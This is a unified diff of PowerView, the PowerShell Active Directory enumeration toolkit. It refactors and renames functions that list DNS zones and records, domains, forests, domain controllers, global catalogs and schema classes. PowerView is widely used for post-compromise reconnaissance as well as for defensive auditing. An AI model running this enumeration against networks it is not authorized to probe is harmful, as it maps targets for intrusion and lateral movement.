[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSZone')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, - [ValidateRange(1,10000)] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ResultPageSize = 200, - [Management.Automation.PSCredential] - $Credential, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + [Alias('ReturnOne')] [Switch] - $FullData - ) + $FindOne, - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential - $DNSSearcher.filter="(objectClass=dnsZone)" - - if($DNSSearcher) { - $Results = $DNSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - $Properties = Convert-LDAPProperty -Properties $_.Properties - $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - if ($FullData) { - $Properties + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsZone)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher1 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher1) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } + else { $Results = $DNSSearcher1.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out } - else { - $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } } + $DNSSearcher1.dispose() } - $Results.dispose() - $DNSSearcher.dispose() - } - - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" - $DNSSearcher.filter="(objectClass=dnsZone)" - if($DNSSearcher) { - $Results = $DNSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - $Properties = Convert-LDAPProperty -Properties $_.Properties - $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' + $DNSSearcher2 = Get-DomainSearcher @SearcherArguments - if ($FullData) { - $Properties + if ($DNSSearcher2) { + try { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } + else { $Results = $DNSSearcher2.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_" + } + } } - else { - $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged + catch { + Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" } + $DNSSearcher2.dispose() } - $Results.dispose() - $DNSSearcher.dispose() } } -filter Get-DNSRecord { +function Get-DomainDNSRecord { <# - .SYNOPSIS +.SYNOPSIS + +Enumerates the Active Directory DNS records for a given zone. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord + +.DESCRIPTION + +Given a specific Active Directory DNS zone name, query for all 'dnsNode' +LDAP entries using that zone as the search base. Return all DNS entry results +and use Convert-DNSRecord to try to convert the binary DNS record blobs. + +.PARAMETER ZoneName + +Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server - Enumerates the Active Directory DNS records for a given zone. +Specifies an Active Directory server (domain controller) to bind to for the search. - .PARAMETER ZoneName +.PARAMETER Properties - The zone to query for records (which can be enumearted with Get-DNSZone). Required. +Specifies the properties of the output object to retrieve from the server. - .PARAMETER Domain +.PARAMETER ResultPageSize - The domain to query for zones, defaults to the current domain. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER DomainController +.PARAMETER ServerTimeLimit - Domain controller to reflect LDAP queries through. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER PageSize +.PARAMETER FindOne - The PageSize to set for the LDAP searcher object. +Only return one result object. - .PARAMETER Credential +.PARAMETER Credential - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .EXAMPLE +.EXAMPLE - PS C:\> Get-DNSRecord -ZoneName testlab.local +Get-DomainDNSRecord -ZoneName testlab.local - Retrieve all records for the testlab.local zone. +Retrieve all records for the testlab.local zone. - .EXAMPLE +.EXAMPLE - PS C:\> Get-DNSZone | Get-DNSRecord +Get-DomainDNSZone | Get-DomainDNSRecord - Retrieve all records for all zones in the current domain. +Retrieve all records for all zones in the current domain. - .EXAMPLE +.EXAMPLE - PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local +Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local - Retrieve all records for all zones in the dev.testlab.local domain. +Retrieve all records for all zones in the dev.testlab.local domain. + +.OUTPUTS + +PowerView.DNSRecord + +Outputs custom PSObjects with detailed information about the DNS record entry. #> - param( - [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSRecord')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] [String] $ZoneName, + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" - $DNSSearcher.filter="(objectClass=dnsNode)" + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsNode)' + 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } + else { $Results = $DNSSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + try { + $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged + $Out | Add-Member NoteProperty 'ZoneName' $ZoneName - if($DNSSearcher) { - $Results = $DNSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - try { - # convert/process the LDAP fields for each result - $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged - $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName + # convert the record and extract the properties + if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { + # TODO: handle multiple nested records properly? + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] + } + else { + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord + } - # convert the record and extract the properties - if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { - # TODO: handle multiple nested records properly? - $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0] + if ($Record) { + $Record.PSObject.Properties | ForEach-Object { + $Out | Add-Member NoteProperty $_.Name $_.Value + } + } + + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') + $Out } - else { - $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord + catch { + Write-Warning "[Get-DomainDNSRecord] Error: $_" + $Out } + } - if($Record) { - $Record.psobject.properties | ForEach-Object { - $Properties | Add-Member NoteProperty $_.Name $_.Value - } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_" } - - $Properties - } - catch { - Write-Warning "ERROR: $_" - $Properties } + $DNSSearcher.dispose() } - $Results.dispose() - $DNSSearcher.dispose() } } -filter Get-NetDomain { +function Get-Domain { <# - .SYNOPSIS +.SYNOPSIS + +Returns the domain object for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - Returns a given domain object. +.DESCRIPTION - .PARAMETER Domain +Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current +domain or the domain specified with -Domain X. - The domain name to query for, defaults to the current domain. +.PARAMETER Domain - .PARAMETER Credential +Specifies the domain name to query for, defaults to the current domain. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.PARAMETER Credential - .EXAMPLE +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - PS C:\> Get-NetDomain -Domain testlab.local +.EXAMPLE - .EXAMPLE +Get-Domain -Domain testlab.local - PS C:\> "testlab.local" | Get-NetDomain +.EXAMPLE - .LINK +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Domain -Credential $Cred - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain + +A complex .NET domain object. + +.LINK + +http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG #> - param( - [Parameter(ValueFromPipeline=$True)] + [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($Credential) { - - Write-Verbose "Using alternate credentials for Get-NetDomain" + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' + + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetDomain = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" + } - if(!$Domain) { - # if no domain is supplied, extract the logon domain from the PSCredential passed - $Domain = $Credential.GetNetworkCredential().Domain - Write-Verbose "Extracted domain '$Domain' from -Credential" + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + } } - - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password) - - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + elseif ($PSBoundParameters['Domain']) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" + } } - catch { - Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." - $Null + else { + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch { + Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" + } } } - elseif($Domain) { - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) +} + + +function Get-DomainController { +<# +.SYNOPSIS + +Return the domain controllers for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-Domain + +.DESCRIPTION + +Enumerates the domain controllers for the current or specified domain. +By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer +to search for domain controllers. + +.PARAMETER Domain + +The domain to query for domain controllers, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER LDAP + +Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' -LDAP + +Determine the domain controllers for 'test.local' using LDAP queries. + +.EXAMPLE + +'test.local' | Get-DomainController + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainController -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. + +System.DirectoryServices.ActiveDirectory.DomainController + +If -LDAP isn't specified. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Computer')] + [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Switch] + $LDAP, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { + if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } + + # UAC specification for domain controllers + $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + + Get-DomainComputer @Arguments } - catch { - Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." - $Null + else { + $FoundDomain = Get-Domain @Arguments + if ($FoundDomain) { + $FoundDomain.DomainControllers + } } } - else { - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } } -filter Get-NetForest { +function Get-Forest { <# - .SYNOPSIS +.SYNOPSIS + +Returns the forest object for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertTo-SID + +.DESCRIPTION - Returns a given forest object. +Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current +forest or the forest specified with -Forest X. - .PARAMETER Forest +.PARAMETER Forest - The forest name to query for, defaults to the current domain. +The forest name to query for, defaults to the current forest. - .PARAMETER Credential +.PARAMETER Credential - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. - .EXAMPLE - - PS C:\> Get-NetForest -Forest external.domain +.EXAMPLE - .EXAMPLE - - PS C:\> "external.domain" | Get-NetForest +Get-Forest -Forest external.domain + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Forest -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition +to the forest root domain SID. #> - param( - [Parameter(ValueFromPipeline=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($Credential) { - - Write-Verbose "Using alternate credentials for Get-NetForest" + PROCESS { + if ($PSBoundParameters['Credential']) { - if(!$Forest) { - # if no domain is supplied, extract the logon domain from the PSCredential passed - $Forest = $Credential.GetNetworkCredential().Domain - Write-Verbose "Extracted domain '$Forest' from -Credential" - } - - $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password) - - try { - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" + + if ($PSBoundParameters['Forest']) { + $TargetForest = $Forest + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetForest = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential" + } + + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + $Null + } } - catch { - Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." - $Null + elseif ($PSBoundParameters['Forest']) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" + return $Null + } } - } - elseif($Forest) { - $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) - try { - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() } - catch { - Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." - return $Null + + if ($ForestObject) { + # get the SID of the forest root + if ($PSBoundParameters['Credential']) { + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid + } + else { + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid + } + + $Parts = $ForestSid -Split '-' + $ForestSid = $Parts[0..$($Parts.length-2)] -join '-' + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject } } - else { - # otherwise use the current forest - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() - } +} + + +function Get-ForestDomain { +<# +.SYNOPSIS + +Return all domains for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all domains for the current forest or the forest specified +by -Forest X. + +.PARAMETER Forest + +Specifies the forest name to query for domains. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-ForestDomain - if($ForestObject) { - # get the SID of the forest root - $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value - $Parts = $ForestSid -Split "-" - $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" - $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid - $ForestObject +.EXAMPLE + +Get-ForestDomain -Forest external.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestDomain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + if ($ForestObject) { + $ForestObject.Domains + } } } -filter Get-NetForestDomain { +function Get-ForestGlobalCatalog { <# - .SYNOPSIS +.SYNOPSIS + +Return all global catalogs for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION - Return all domains for a given forest. +Returns all global catalogs for the current forest or the forest specified +by -Forest X by using Get-Forest to retrieve the specified forest object +and the .FindAllGlobalCatalogs() to enumerate the global catalogs. - .PARAMETER Forest +.PARAMETER Forest - The forest name to query domain for. +Specifies the forest name to query for global catalogs. - .PARAMETER Credential +.PARAMETER Credential - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetForestDomain +Get-ForestGlobalCatalog - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetForestDomain -Forest external.local +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestGlobalCatalog -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.GlobalCatalog #> - param( - [Parameter(ValueFromPipeline=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } - if($ForestObject) { - $ForestObject.Domains + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() + } } } -filter Get-NetForestCatalog { +function Get-ForestSchemaClass { <# - .SYNOPSIS +.SYNOPSIS + +Helper that returns the Active Directory schema classes for the current +(or specified) forest or returns just the schema class specified by +-ClassName X. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Uses Get-Forest to retrieve the current (or specified) forest. By default, +the .FindAllClasses() method is executed, returning a collection of +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results. +If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] +result for the specified class name is returned. + +.PARAMETER ClassName + +Specifies a ActiveDirectorySchemaClass name in the found schema to return. + +.PARAMETER Forest + +The forest to query for the schema, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestSchemaClass + +Returns all domain schema classes for the current forest. - Return all global catalogs for a given forest. +.EXAMPLE - .PARAMETER Forest +Get-ForestSchemaClass -Forest dev.testlab.local - The forest name to query domain for. +Returns all domain schema classes for the external.local forest. - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Get-ForestSchemaClass -ClassName user -Forest external.local - .EXAMPLE +Returns the user schema class for the external.local domain. - PS C:\> Get-NetForestCatalog +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred + +Returns the user schema class for the external.local domain using +the specified alternate credentials. + +.OUTPUTS + +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] + +An ActiveDirectorySchemaClass returned from the found schema. #> - - param( - [Parameter(ValueFromPipeline=$True)] + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [Alias('Class')] + [ValidateNotNullOrEmpty()] + [String[]] + $ClassName, + + [Alias('Name')] + [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } - if($ForestObject) { - $ForestObject.FindAllGlobalCatalogs() + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + if ($PSBoundParameters['ClassName']) { + ForEach ($TargetClass in $ClassName) { + $ForestObject.Schema.FindClass($TargetClass) + } + } + else { + $ForestObject.Schema.FindAllClasses() + } + } } } -filter Get-NetDomainController { +function Find-DomainObjectPropertyOutlier { <# - .SYNOPSIS +.SYNOPSIS + +Finds user/group/computer objects in AD that have 'outlier' properties set. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass + +.DESCRIPTION + +Enumerates the schema for the specified -ClassName (if passed) by using Get-ForestSchemaClass. +If a -ReferenceObject is passed, the class is extracted from the passed object. +A 'reference' set of property names is then calculated, either from a standard set preserved +for user/group/computers, or from the array of names passed to -ReferencePropertySet, or +from the property names of the passed -ReferenceObject. These property names are substracted +from the master schema propertyu name list to retrieve a set of 'non-standard' properties. +Every user/group/computer object (depending on determined class) are enumerated, and for each +object, if the object has a 'non-standard' property set, the object samAccountName, property +name, and property value are output to the pipeline. + +.PARAMETER ClassName + +Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. +If -ReferenceObject is specified, this will be automatically extracted, if possible. + +.PARAMETER ReferencePropertySet + +Specifies an array of property names to diff against the class schema. + +.PARAMETER ReferenceObject + +Specicifes the PowerView user/group/computer object to extract property names +from to use as the reference set. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 